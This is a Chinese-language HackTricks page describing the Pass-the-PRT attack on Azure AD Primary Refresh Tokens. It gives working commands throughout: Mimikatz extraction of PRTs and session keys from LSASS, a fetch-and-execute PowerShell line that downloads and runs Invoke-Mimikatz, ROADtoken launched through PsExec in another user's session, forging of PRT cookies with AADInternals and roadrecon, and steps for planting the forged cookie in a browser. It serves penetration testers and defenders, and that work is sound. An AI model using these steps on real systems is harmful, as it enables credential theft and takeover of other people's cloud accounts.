Az - Pass the PRT

支持 HackTricks

什么是 PRT

Az - Primary Refresh Token (PRT)

检查你是否有 PRT

Dsregcmd.exe /status

在SSO State部分,你应该看到**AzureAdPrt设置为YES**。

在同一输出中,你还可以看到设备是否加入Azure(在字段AzureAdJoined中):

PRT cookie实际上被称为**x-ms-RefreshTokenCredential,它是一个JSON Web Token (JWT)。一个JWT包含3部分**,即headerpayloadsignature,由一个.分隔,并且全部是url-safe base64编码的。一个典型的PRT cookie包含以下header和body:

{
"alg": "HS256",
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
}
{
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
"is_primary": "true",
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}

实际的**Primary Refresh Token (PRT)封装在refresh_token中,该令牌由Azure AD控制的密钥加密,使其内容对我们来说是不透明且无法解密的。字段is_primary**表示主刷新令牌封装在此令牌中。为了确保cookie绑定到其预期的特定登录会话,request_noncelogon.microsoftonline.com页面传输。

LSASS进程将KDF context发送到TPM,TPM将使用session key(在设备注册到AzureAD时收集并存储在TPM中)和先前的上下文来派生一个密钥,并使用这个派生密钥签署PRT cookie (JWT)

KDF context是来自AzureAD的一个nonce和PRT,创建一个与context(随机字节)混合的JWT

因此,即使PRT无法提取,因为它位于TPM内部,也可以滥用LSASS来从新上下文请求派生密钥并使用生成的密钥签署Cookies

PRT滥用场景

作为普通用户,可以通过向LSASS请求SSO数据来请求PRT使用。 这可以像本机应用程序一样,通过Web Account Manager(令牌代理)请求令牌。WAM将请求传递给LSASS,后者使用签名的PRT断言请求令牌。或者可以通过基于浏览器的(web)流程,其中PRT cookie用作header来验证对Azure AS登录页面的请求。

作为SYSTEM,如果PRT未受TPM保护,可以窃取PRT或使用加密API与LSASS中的PRT密钥交互

Pass-the-PRT攻击示例

攻击 - ROADtoken

有关此方法的更多信息,请参阅这篇文章。ROADtoken将从正确的目录运行**BrowserCore.exe并使用它来获取PRT cookie**。然后可以使用此cookie与ROADtools进行身份验证并获取持久刷新令牌

要生成有效的PRT cookie,首先需要一个nonce。 你可以通过以下方式获取:

$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

或者使用 roadrecon:

roadrecon auth prt-init

然后你可以使用 roadtoken 获取一个新的 PRT(在工具中从要攻击的用户进程运行):

.\ROADtoken.exe <nonce>

作为单行命令:

Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

然后你可以使用生成的cookie生成令牌,以使用Azure AD Graph或Microsoft Graph进行登录

# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

Attack - Using roadrecon

Attack - Using AADInternals and a leaked PRT

Get-AADIntUserPRTToken 从Azure AD加入或混合加入的计算机获取用户的PRT token。使用BrowserCore.exe获取PRT token。

# Get the PRToken
$prtToken = Get-AADIntUserPRTToken

# Get an access token for AAD Graph API and save to cache
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

或者,如果你有来自 Mimikatz 的值,你也可以使用 AADInternals 来生成一个 token:

# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."

# Add padding
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}

# Decode
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Mimikatz "Clear key" value
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"

# Convert to Byte array and B64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate PRTToken with Nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
$prtToken
## You can already use this token ac cookie in the browser

# Get access token from prtToken
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken

# Verify access and connect with Az. You can see account id in mimikatz prt output
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>

前往 https://login.microsoftonline.com,清除所有 login.microsoftonline.com 的 cookies 并输入一个新的 cookie。

Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

然后访问 https://portal.azure.com

其余部分应为默认设置。确保您可以刷新页面并且cookie不会消失,如果消失了,您可能犯了错误,需要重新进行该过程。如果没有消失,您应该没问题。

攻击 - Mimikatz

步骤

  1. PRT (Primary Refresh Token) 从 LSASS (Local Security Authority Subsystem Service) 中提取并存储以供后续使用。

  2. 接下来提取 Session Key。由于该密钥最初由本地设备发出并重新加密,因此需要使用DPAPI主密钥进行解密。有关DPAPI (Data Protection API) 的详细信息可以在这些资源中找到:HackTricks,要了解其应用,请参阅 Pass-the-cookie attack

  3. 解密Session Key后,获得PRT的派生密钥和上下文。这些对于创建PRT cookie至关重要。具体来说,派生密钥用于签署构成cookie的JWT (JSON Web Token)。Dirk-jan提供了这一过程的详细解释,可以在这里访问。

请注意,如果PRT在TPM中而不是在lsass中,mimikatz将无法提取它。 但是,可以从TPM的上下文中获取派生密钥并使用它来签署cookie(查看选项3)。

您可以在这里找到执行过程的详细解释以提取这些详细信息:https://dirkjanm.io/digging-further-into-the-primary-refresh-token/

这在2021年8月修复后将无法准确地获取其他用户的PRT令牌,因为只有用户自己可以获取他的PRT(本地管理员无法访问其他用户的PRT),但可以访问他自己的。

您可以使用mimikatz提取PRT:

mimikatz.exe
Privilege::debug
Sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

(Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)

复制标记为Prt的部分并保存。 还要提取会话密钥(ProofOfPossesionKey字段的KeyValue),如下图所示。这是加密的,我们需要使用DPAPI主密钥来解密它。

如果你没有看到任何PRT数据,可能是因为你的设备没有加入Azure AD,或者你运行的是旧版本的Windows 10。

解密会话密钥,你需要提升你的权限到SYSTEM,以便在计算机上下文中运行,才能使用DPAPI主密钥来解密它。你可以使用以下命令来实现:

token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect

选项 1 - 完整 Mimikatz

  • 现在你需要复制 Context 值:

  • 以及派生密钥值:

  • 最后,你可以使用所有这些信息来生成 PRT cookies

Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

其余的应该是默认设置。确保你可以刷新页面并且cookie不会消失,如果消失了,可能是你犯了错误,需要重新进行这个过程。如果没有消失,那你应该就没问题了。

选项 2 - 使用 PRT 的 roadrecon

  • 首先更新 PRT,这会将其保存在 roadtx.prt 中:

roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
  • 现在我们可以使用 roadtx browserprtauth 通过交互式浏览器请求令牌。如果我们使用 roadtx describe 命令,我们会看到访问令牌包含一个 MFA 声明,因为我在这种情况下使用的 PRT 也有一个 MFA 声明。

roadtx browserprtauth
roadtx describe < .roadtools_auth

选项 3 - 使用 derived keys 的 roadrecon

有了 mimikatz 导出的上下文和 derived key,可以使用 roadrecon 生成一个新的签名 cookie:

roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

参考资料

支持 HackTricks

Last updated